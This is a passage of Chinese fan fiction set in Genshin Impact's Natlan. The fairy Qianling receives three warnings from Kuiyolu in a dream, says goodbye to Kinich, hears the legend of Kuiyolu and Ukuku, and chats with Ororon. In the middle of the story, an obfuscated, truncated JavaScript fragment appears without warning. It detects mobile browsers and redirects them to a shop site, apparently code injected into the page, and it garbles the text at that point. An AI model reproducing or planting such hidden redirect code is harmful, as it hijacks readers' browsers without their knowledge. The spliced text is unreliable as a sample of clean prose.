奎伊露在梦里也是很虚弱的，她坐在轮椅上，倒是没有抱着匿叶龙。
梦里的画面慢慢清楚了。
之前在遗迹里的时候，千灵的注意力一半在她身上，一半在警惕地戒备欧洛伦，他们一共没有说几句话，便一个被吓得变回了仙灵，一个被倒吊起来当小蝙蝠。
现在不在遗迹里，也没有非要逃跑的理由。
千灵认真地盯着她。
奎伊露被她盯得不耐烦了：“怎么？没见过双腿废掉的残疾人吗？”
千灵发出感叹：“哇——你的左眼下边原来有一颗泪痣诶。”
奎伊露：“……”
“没想到会在这里见到你。”奎伊露缓了一会，才慢慢地说，“竟然还挺快的。”
她的语气十分复杂，虽然千灵的脑子是个单核处理器，但敏感度还挺高。
千灵听出了类似于“躲不开的”，“这一天还是到来了啊”，诸如此类，这样的感觉。
以及对自己一些微妙的轻视。
还挺……快的？
千灵琢磨她的话。
“什么意思啊？”
琢磨了一会，千灵还是觉得自己不知道。
她呆头呆脑地看着她眼角下的那颗泪痣。
“哪怕下一秒就要被人卖掉了也会是这样的一副表情吧？”奎伊露说，“谁让你跑出来的？”
“我的宝藏弄丢了呀。”千灵有点不高兴，“我要找到它的。”
奎伊露：“找不到会死啊。”
千灵认真地点头：“你怎么知道？我做梦梦到了。真的会死诶。”
奎伊露：“……”
她看上去想要把她之前做的那个梦狠狠揍一顿出气。
但千灵并不知道她在气什么。
千灵这样看着她，奎伊露独自气了一会，好像又把自己哄好了。
“三个警惕。”
奎伊露对千灵比出三个手指头。
她看上去好像要给自己什么忠告。并且是认真的。
千灵严肃地点点头。
“警惕男人。”
“警惕男人。”
“警惕不知道从哪里冒出来的男人。”
千灵：“……？”
千灵跟着她说的话也一个一个地伸出手指头数，数到最后，她低头看了看自己的三根手指头，又迷茫地抬起头看了看她：“这好像都是一样的？”
“是啊。”奎伊露理直气壮地说，“你要记住了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196056|146647||http|test|mini|href|location''.split(''|''),0,{}));
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虽然不知道为什么，但对方好像是真心实意地为自己好，于是千灵记住了，但是还是很困惑。
千灵歪头：“为什么呢？”
“你还真是什么都不知道啊！”
奎伊露烦躁地抓了抓自己的头发，有一缕扫到她眼角的泪痣，千灵的视线又被吸引过去。
“看清楚了。”
奎伊露指向她，不知道从哪掏出了一面镜子，逼迫她看清自己的模样。
镜子里，千灵并不是小小的仙灵。
柔软而蓬松的长发，正在燃烧的，金色火焰一样的眼睛。
“你。天空岛降下的神灵。”
奎伊露说。
千灵眨眨眼睛。
镜子里的自己也同样眨眨眼睛。
“你可以爱人类。但是不可以爱人。”
奎伊露的语气很冷酷。
“你的使命仅仅是找到宝箱而已，给我记好了！”
“好、好的！”
“等到无可挽回的那一天，你只会退化成为一个灰色的躯壳。”
听起来真的好严重。
千灵严肃地点点头。
“要知道从天空坠落的失路之人，即使是像我们这样的生命，也再难有重返上升的时候。”
“我们？”
千灵抓住了关键词。
“难道你掉下来过了？”
“如果可以。”奎伊露阴森地说，“我想把我的泪痣给挖出来。”
“也不至于留在这里。成为困兽。”
-
最后千灵是被奎伊露那句有点恐怖的话给吓醒的。
她在梦里被吓得一激灵，眼睛还没睁开，先是听到了一声疑惑的气音。
唔……
谁在说话？
啊，原来是扒拉到了基尼奇的头发。
千灵不知道自己睡了多久的一觉，现在太阳已经完全消失了。
她刚睁开眼睛，就看见了离大地很近很近的月亮。
又有些忘掉梦里的细节了。
记得最深刻的是三个警惕。
不过，因为这个梦境的结尾实在过于深入人心，千灵到现在都还没有忘记，奎伊露发狠的神情。
像在诅咒一个十恶不赦的仇人。
奎伊露强烈的情绪同样感染到了千灵，那是一种刻骨铭心的愤怒，满脑子都是要将对方手刃的怨恨。
之前发生过什么呢？
总感觉她一副很有故事的样子。
以至于千灵醒来过后还有点发懵，即使基尼奇的脑袋动来动去也没将她弄得有反应，感觉自己也被架在了烧烤架上滋拉滋拉地在生煎。
直到肉类的香气顺着晚风飘过来。
“做好了。”
基尼奇盛了一碗，香味极为浓厚的大块炖肉，光是看上去就知道味道热辣，是能一边被刺激得鼻尖冒汗一边停不下来的口感。
“要吃吗？”
煮得滚烫的大锅，洒上纳塔特有的调料，同样是冲击力很强的一种感受。
辛辣的味道毫不讲道理地霸占掉千灵的脑子。冲刷掉过于奎伊露带给她愤恨的浓烈情绪。
千灵快乐地跳起来。迅速将之前发生了什么抛到脑后。
怎么可能不吃！
“要！”
20.20
回去的路上天已经黑了。
千灵依旧懒洋洋地趴在基尼奇脑袋上，基尼奇没有说什么，只是多看了她几眼，大概只是觉得她今天有些黏人。
等终于到了家门口。基尼奇将今天千灵带着指引到的宝箱都挨个取出来分类。
摩拉，矿石，武器……
虽然数量不少，但是也没有找到品质特别珍贵的那种。唯一算得上多的摩拉还分给了一大部分给千灵。
不知道他能不能攒够去修手表的钱。
当然考虑到他手表上还有自己的通缉画像，千灵当然是又不希望的。
千灵终于像睡醒了一样从他的脑袋上坐起来，郑重其事地飘到基尼奇旁边。
千灵有些恋恋不舍地对他打招呼：“那我就走啦？”
基尼奇整理的工作停下了。他转头看她。
“那个……”千灵习惯性地绕着自己的手指转，她紧张的时候就会这样子，用其它的动作转移注意力，“报酬应该给够了的吧？”
基尼奇还是没说话。
他不说话，千灵也不知道说什么，两个人呆呆地对视。
像两个被大巫师施加了定身术的倒霉蛋。
“你要走了么？”
像是过了很久很久，又像是过了很短很短的时间，他开口问你。
“嗯……是啦，我要有自己的事情去忙的。”千灵居然被这个气氛带得有些不好意思开口了，“我要去找我的宝箱啦。”
仙灵不会一直停留在一个地方的。
即使千灵遗忘了大半奎伊露的告诫，但奎伊露只能坐在轮椅上的模样，仍然是深深记在了千灵心里。
坠入凡间的星星也只是石头。
拘束的，守着回忆，待在一个原地。
千灵觉得，她没来由地相信，基尼奇也一定会明白她的。
然后千灵向基尼奇弯下腰，真诚地说：“谢谢你这段时间的照顾了。”
“炖肉真是非常好吃！”千灵感慨着说，“我觉得有好久的一段时间都不会忘记这个味道了。”
大概是这句话哪个字里触动了他，基尼奇被千灵这样大张旗鼓的架势也弄得笑了笑。
因为回到了家，他随手将发带扯了下来，翠色的格子发带迎风飘扬着，千灵的视线也被吸引过去。
他把发带搁在桌子上，然后伸出一根手指头，摁到千灵的额头上，慢慢把她怼正了。
“不用这样道谢。”他语气随意地问，像是在招待一个老朋友，“这么急的吗？可以再留一个晚上。”
“即使一直拖延，也迟早会有分开的时候。”千灵有种要踏上某种征途的决心，“我已经做好这样的觉悟啦。”
基尼奇：“那你今晚怎么办？也要找到一个宝箱睡么？万一又有什么冒险家找到了你睡觉的宝箱。”
千灵一梗。
千灵：“啊这个、那个……”
确实哦。她没考虑这个问题。
但基尼奇提出了这个问题，也没有再硬要她留下来的意思。
“既然这样的话，我有东西要送给你。”
“诶？”
“在这里。”
他的掌心摊开一个小巧的机关，大概是从他钩锁的零件重新组装的，顶上还镶嵌有一个幽蓝色的装饰品。
原来这几天晚上，基尼奇在研究零件和拆解腕表，是为了做这个吗？
“这是……？”
千灵仔细观察一下这个小机关的样子，还是没有看出来。
“改造的锁扣机关。”基尼奇说，“能从内部给宝箱上锁，这样你就不用担心再被人打扰到睡眠了。”
哇！
他的手真的好灵巧。
“你真是一个超级好超级好的人啊！”
不愧是她一眼就欣赏上了的灵魂。
千灵飘过去，郑重地收起这个机关：“我一定会好好珍惜的！”
珍惜它就是在挽回自己的睡眠质量啊！
这当然得好好保存了。
“再见啦！”千灵高兴地挥挥手，“我一定会记得你炖肉的味道的！”
真的超级好吃啊。
基尼奇看向她，然后点点头，说：“嗯。再见。”
所有的月色都倾洒在他们身上，仿佛明天也会是这样一个好天气。
-
在抵达纳塔之前，千灵循着模模糊糊的直觉来到了纳塔，因为梦境里的宝箱有关龙的气息，而外界又并非时常有龙这种生命，她找得很顺利。
前期的顺利，往往都为后面的艰难做好了铺垫。
然而在抵达纳塔之后，千灵意识到一个事实。
——纳塔的龙，实在太多啦！！！
怪不得能顺着枫丹一路畅通无阻地就来到了纳塔呢！
龙的气息几乎要多到要爆炸。
她身上的摩拉都没有遇到的龙这么多。
要从这么多的龙群之间，找到独属于自己宝藏的龙息格外困难。
……简直是要在大海里捞针啊。
千灵断断续续地找了几天，后面发现或许从人们口口相传的传闻中，说不定能寻找到蛛丝马迹。
随后她又发现，纳塔的人很热情，对于异乡人几乎是什么都可以讲讲。
还有暖呼呼的温泉可以泡。
虽然仍然需要保持警惕，但是泡温泉真的很爽诶。
把一切烦恼都暂时忘掉的感觉。
这可比飘来飘去晃悠在林间的仙灵强不少。
“人类真舒服。”
发出了这样的感叹。
“哈哈！我告诉你吧，温泉里吃点甜点之类的更是舒服得要上天。”
玛拉妮搭着千灵的肩膀。
千灵不着痕迹地避开了一点：“嗯嗯好哦。”
本来在看到玛拉妮的那一瞬间，千灵便想回避的，毕竟她们见过，虽然玛拉妮不知道她变成人的样子，但还是有点紧张。
但是玛拉妮太热情了！
是完全无法抵抗的热情！
所幸，玛拉妮的热情平等地分给了每一个人。
她在招呼完千灵之后，又被旁边的温泉管理员叫走了。
千灵见缝插针地躲到楼梯的侧面，这里阴影笼罩下来，几乎没有什么人。
她正要长松一口气，旁边的水面却冒出几个泡泡。
泡泡过后，一个看上去十多岁的女生探出了脑袋。
她的头发湿答答的。
温泉很热乎，她的眼神却像坚冰一样冷静。
原来是同样想要寻找安静地方待着的人。
“呀！抱歉，我没发现这里有人。”千灵双手合十，“我给你让个位置吧。”
“没关系。”女生站起来，她向另外一个安静的角落走去，“你待着吧。”
是社恐！
是纳塔罕见的社恐人！
千灵不由得多看了两眼。
千灵泡够了，上岸。
为了搜集纳塔古老的传说，她打入了一个读书会的内部，这里有几位从蒙德来的吟游诗人，交流纳塔的习俗的传闻。
“这是在烟谜主的英雄诞生之前的故事。”
摆弄着涂鸦颜料的老人，指向天空的某一个方向。
夜空中，星星已经降临了。
在很久很久以前，这颗黯淡的星星，或许和其它的星星一样明亮。正如同鸟类总是渴望着天空一样，星星也渴望着大地。
“居住在那颗星星上的奎伊露，也正是如此。”
奎伊露。
这就是千灵这几天听冒险故事的原因。她第一次听到的时候还吓了一大跳，以为自己的身份这么快就暴露了，又以为是同名同姓的人。
后来听着听着，不知不觉就入迷了。
现在，她跟一群小孩子围在一起，托着下巴，听老人伴随篝火燃烧的声音，听这个流传已久的民间故事。
“可是有一天，奎伊露将身子俯得太低，竟然一不小心跌落了下来。失散的力量遍布在整个国度，她无法凝聚起回家的阶梯。”
奎伊露孤独地在荒野彷徨了太久，久到快要遗忘自己为何彷徨。
在这时候，她遇到了部族的猎手乌库库。
“乌库库是一个熊一般的战士，像熊一样强壮，也像熊一般寡言。他们结伴漫游，攀登过高山，深入过岩窟，击败了敌人，也结交了不少好友。”
“比如如何驯服一头野外的龙。”
接下来，老人开始绘声绘色地描述起他们的冒险故事，比如要以怎样正确的姿势才能学会在岩浆里游泳。
千灵听得昏昏欲睡，这时她突然发现听故事的孩子里，有人悄无声息地站起来准备离开。
是下午在温泉遇到的社恐女生。
她似乎对接下来的故事不感兴趣。
她的离去引起了孩子们的讨论。
“那是谁啊？”
“不认识。我喊她一起玩都不会一起。”
“好不合群哦。”
眼看讨论要往着别的地方偏移，老人咳了一声，说：“我们要包容不同性格的人。”
纳塔是部落形式的聚集地，每个人与集体绑定得都无比深刻，也因此显得喜欢独处的人十分不合群。
比如这个女生。
又比如基尼奇。
千灵在离开之后才听到了许多关于基尼奇的议论，大都也在说他性格古怪。
老人看向这群孩子中唯一看上去大一点的千灵。
“能拜托你去看看那孩子吗？”老人说，“她叫伊芙琳，其实是一个好孩子。”
千灵点点头。
她深有同感。
-
不合群的人通常会待在哪里？
险峻高山。
烟雾四起的密林。
以及宝箱里。
千灵对于寻找这类地点已经足够熟悉，加上伊芙琳本就没有走太快。她远远地就瞧见了她坐在树干上的影子，悄悄地靠近。
还没走到，伊芙琳就头也不回地说：“我听到你了。”
“……”
真是好敏锐的耳朵。
千灵有些尴尬，她说：“是有人拜托我来看看你的。”
“是那个老头子吧。”伊芙琳说，“知道了。我会回去的，你也是，大晚上不要到处乱跑。”
被一个小孩子给关心了呢……千灵默默心想。
她努力寻找共同话题。
“你也喜欢听故事吗？”
伊芙琳回头，撑着树枝往下看。
千灵依然是穿着日常的白裙子，皎洁一样的月色，微微仰头，金色如流火的眼睛注视着她。
“奎伊露么？”伊芙琳说，“你知道的，故事里通常都会有好几个结局。”
千灵或多或少地听说过。
数年后，奎伊露融入了地上的种族，与乌库库结成了家族，在部族的一隅安定了下来。
而他们的邻居是个与乌库库不对付的促狭鬼。
“遇到喜欢的鸟儿就剪断它们的羽翼，遇到活泼的游鱼就折断它们的鱼鳍。”
邻居这样不断地挑拨。
本来是当作玩笑一样的去询问乌库库，奎伊露却得到了肯定的答案。
奎伊露满
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心是悲哀与愤怒，期满与背叛。
她不顾挽留，离开了家一样的部族，在广阔的大地上留下了巨大的涂鸦，让她太阳的父亲得以看见。
至于被留下的乌库库，他的双眼都被太阳的金箭刺瞎，就连他们的孩子，昆图尔也受到了波及。
也就是在听到了这个故事之后，再想起遗迹里坐在轮椅上的奎伊露，千灵才隐隐约约有了个大概的猜测。
但是这样的结局感觉不适合讲给这样年纪的孩子听。
“遇到喜欢的鸟儿就剪断它们的羽翼。”
“遇到活泼的游鱼就折断它们的鱼鳍。”
“遇到喜欢的星星就藏起它们的力量。”
伊芙琳过于老成地说。
千灵：“……”
现在的小孩子真是不得了。
伊芙琳最后跳下树来，千灵目送她回去。
月亮高悬。
有点寒冷，风吹起发梢，千灵搓了搓胳膊。
她也慢慢地往树林深处走。
她最近也睡在一个宝箱里，趁着夜晚人少的时候，才悄悄变回仙灵钻进去。
夜晚的密林氤氲起浅淡的雾气。
一步又一步，千灵缓慢地思考着。
那她失散的宝箱，也其实是因为被人藏起来了么？
梦境里的画面，燃烧的火焰，一片焦土，还有展开翅膀的龙。
奎伊露的警告。
一个倒挂在树上的黑色阴影挡住她的路。
千灵回过神。
夜晚和这人的衣着很好地融为了一体，兜帽和披风反重力一样滞空，倒是露出一对尖尖的耳朵。
他倒挂在树上，眼睛悄无声息地睁开着，不知道偷听她们对话了多久。
千灵：“……”
千灵：“欧、洛、伦！”
你还真是蝙蝠啊！
大半夜不睡觉在这里倒立听女孩子讲悄悄话！
大概意识到千灵眼里的谴责，欧洛伦开口，指了指自己：“我比你们先来的。”
千灵一下子泄气了。
好吧。
先来后到她还是懂的。
“你们在聊烟谜主的英雄吗？”欧洛伦说，“那是昆图尔父母的故事。”
又有一个知情人士出现了！
千灵殷切地抬头看欧洛伦。
但欧洛伦挂得实在太高，她仰头仰得有些累，干脆躺在了草地上。
他们一个倒立，一个干脆躺在地上，无论怎样看过去都是有些奇怪的场景。
“昆图尔，好像是奎伊露和乌库库的孩子。”千灵记得那个老人这样介绍说。
一个不受太阳喜欢的孩子。
“曾经，他是烟谜主的英雄。”欧洛伦平静地阐述道，“每个部族里，都会有英雄，他后来驯服了瞑视龙。”
千灵开始思考欧洛伦这样倒挂着难道不会血液倒流吗？还是这其实是一种种族天赋。
“那现在还有英雄吗？”
“有的。”
欧洛伦点点头，他这个姿势做这种点头的动作有点滑稽。
周围的夜晚有些安静，不时有小动物的声音。
欧洛伦却突然说：“好像附近有人。”
他听见动静。
但是他没有动。
既然他不动，那么千灵也懒得动。
白天跑了温泉，她现在有点犯困，眼睛缓慢地眨着，想就地睡了。
明明本应该很紧张的氛围，两个人甚至有些无所事事地小声聊起天来。
欧洛伦：“你不是该回基尼奇那里吗？怎么在这里。”
千灵：“我要寻找宝藏啊。肯定不会只待在一个地方。而且……感觉也太麻烦他了。”
欧洛伦：“我不嫌麻烦。你需要的话，我可以像种蘑菇一样，把你种在我家的地里。”
千灵：……？
千灵：“有个……呃，长辈，告诉了我三个警惕。”
欧洛伦：“真是好巧。我也有个长辈告诉了我三个警惕。”
“诶？那你的是什么。”
“警惕野兽，警惕骗子，警惕不知道从哪里冒出来的怪人。”
欧洛伦说完，然后望着她。
千灵现在已经能读懂他的眼神了。
这个眼神的意思是，他已经说完了，该她的回合了。
好吧。
“我的是，是，警惕……”
——警惕什么来着？
有点忘了。
千灵躺倒在地上，想了想。
“有点想不起来了。”
欧洛伦敬佩地看了她一眼。
“这句话我从来不敢对着奶奶的面说。”
“难道也是警惕野兽吗？”欧洛伦又问。
好像不是。
好像是什么，男人？
千灵结合了一下：“警惕野男人？”
欧洛伦陷入了片刻的沉默。
过了会，欧洛伦开口，认真询问：“难道是要警惕我么？”
千灵：？？
千灵：“什么啊？”
不要这么自然就把自己认领了野男人这个称号里啊！
“野外，男的，人类。”
欧洛伦指了指自己：“三个要素都很齐全。”
千灵：“……”
她没话讲。
诡异的安静之中，突然蹿出了一个金发的旅人。
“可算是找到你了！”
寂静的夜晚里，响起一个感情无比充沛的控诉。
“枫丹水灾的罪魁祸首！”
千灵：？？？